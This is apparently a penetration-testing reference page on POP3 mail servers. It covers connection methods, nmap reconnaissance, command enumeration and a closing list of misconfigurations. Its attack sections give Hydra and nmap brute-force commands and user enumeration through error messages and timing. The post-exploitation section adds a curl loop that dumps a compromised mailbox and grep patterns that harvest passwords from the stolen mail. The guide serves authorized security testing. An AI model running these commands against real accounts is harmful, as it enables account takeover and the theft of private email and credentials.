POP3 (Post Office Protocol)

Default Ports: 110 (POP3), 995 (POP3S)

Post Office Protocol version 3 (POP3) is an email protocol used to retrieve emails from a remote server to a local client. Unlike IMAP, POP3 typically downloads emails to the client and deletes them from the server (though this can be configured). POP3 is simpler than IMAP but less feature-rich, primarily designed for offline email access.

Connect

Using Telnet

# Connect to POP3 server
telnet target.com 110

# Basic POP3 conversation
USER username
PASS password
LIST
RETR 1
QUIT

Using openssl (POP3S)

# Connect with SSL
openssl s_client -connect target.com:995 -crlf -quiet

# POP3 commands
USER username
PASS password
LIST
QUIT

Using curl

# List emails
curl -u username:password pop3://target.com/

# Read specific email
curl -u username:password pop3://target.com/1

# POP3S
curl -u username:password pop3s://target.com/ --insecure

Recon

Service Detection with Nmap

Use Nmap to detect POP3 mail servers and identify server capabilities.

nmap -p 110,995 target.com

Banner Grabbing

Connect to POP3 servers to gather version and service information.

Using netcat

# Using netcat
nc target.com 110

Using telnet

# Using telnet
telnet target.com 110

Using nmap

# Using nmap
nmap -p 110 -sV target.com

Enumeration

Capability Enumeration

POP3 servers advertise their supported features and extensions through the CAPA command.

# Get server capabilities
telnet target.com 110
CAPA

# Response shows:
# +OK Capability list follows
# USER
# PIPELINING
# TOP
# UIDL
# STLS
# .

Mailbox Enumeration

Explore mailbox contents and message information.

# After login
USER username
PASS password

# List messages
LIST

# Message count and size
STAT

# Get message UIDs
UIDL

Attack Vectors

Brute Force

Brute forcing POP3 credentials can reveal weak email account passwords.

Using Hydra

# POP3 (plaintext)
hydra -l user@target.com -P passwords.txt pop3://target.com

# POP3S (SSL/TLS)
hydra -l user@target.com -P passwords.txt pop3s://target.com:995

# Multiple users
hydra -L users.txt -P passwords.txt pop3://target.com

Using Nmap

nmap -p 110 --script pop3-brute target.com

User Enumeration

POP3 doesn't have VRFY/EXPN like SMTP, but you can enumerate via login attempts.

# POP3 doesn't have VRFY/EXPN like SMTP
# But you can enumerate via login attempts

# Different error messages may reveal valid users
telnet target.com 110
USER admin
# +OK vs -ERR can indicate if user exists

# Timing attacks
# Valid users may take longer to respond

Post-Exploitation

Email Download

Download emails from compromised POP3 accounts for analysis.

Automated Email Download

# Download all emails with curl
for i in {1..100}; do
  curl -u username:password "pop3://target.com/$i" > email_$i.eml 2>/dev/null
done

Manual Email Retrieval

# Or using telnet
telnet target.com 110
USER username
PASS password
STAT  # Get message count
RETR 1  # Retrieve first email
RETR 2  # Second email

Credential Harvesting

Extract sensitive information from downloaded emails.

# Search downloaded emails for credentials
grep -r "password\|credential\|username" *.eml

# Extract URLs
grep -Eiorh 'https?://[^\s]+' *.eml

# Extract email addresses
grep -Eiorh '\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b' *.eml

Common POP3 Commands

Command	Description	Usage / Example
USER	Specifies the username for mailbox authentication.	USER username
PASS	Provides the password for mailbox authentication.	PASS password
STAT	Returns the number of messages and total mailbox size.	STAT
LIST	Displays the available messages and their sizes.	LIST
RETR	Retrieves a complete message by its message number.	RETR 1
DELE	Marks a message for deletion when the session ends.	DELE 1
NOOP	Performs no mailbox operation and keeps the session active.	NOOP
RSET	Resets the session state and removes pending deletion marks.	RSET
TOP	Retrieves message headers and a specified number of body lines.	TOP 1 10
UIDL	Displays the unique identifier assigned to each message.	UIDL
QUIT	Ends the POP3 session and applies pending changes.	QUIT

Useful POP3 Security Testing Tools

Tool	Description	Primary Use Case
telnet	Command-line network client for establishing plaintext TCP connections.	Manual POP3 protocol testing and command verification
openssl s_client	TLS-enabled client for testing encrypted network services.	POP3S/TLS connection and certificate validation
curl	Command-line data transfer utility supporting POP3 and POP3S.	Automated mailbox connectivity and protocol testing
Hydra	Network authentication auditing tool that supports POP3 services.	Authorized credential-strength testing
Nmap	Network discovery and service enumeration tool.	Detecting exposed POP3/POP3S services and identifying versions
Metasploit Framework	Penetration testing framework with modules for security assessment.	Authorized POP3 vulnerability validation and testing
swaks	Command-line SMTP testing utility for mail infrastructure assessment.	Testing related mail-server authentication and delivery controls

Security Misconfigurations

• ❌ No encryption (plaintext POP3 on port 110)
• ❌ Weak or easily guessable passwords
• ❌ No authentication rate limiting
• ❌ Plaintext authentication permitted without TLS
• ❌ No account lockout or login protection
• ❌ Outdated or unsupported mail server software
• ❌ TLS/STARTTLS not enforced
• ❌ Excessive information disclosure through server banners or responses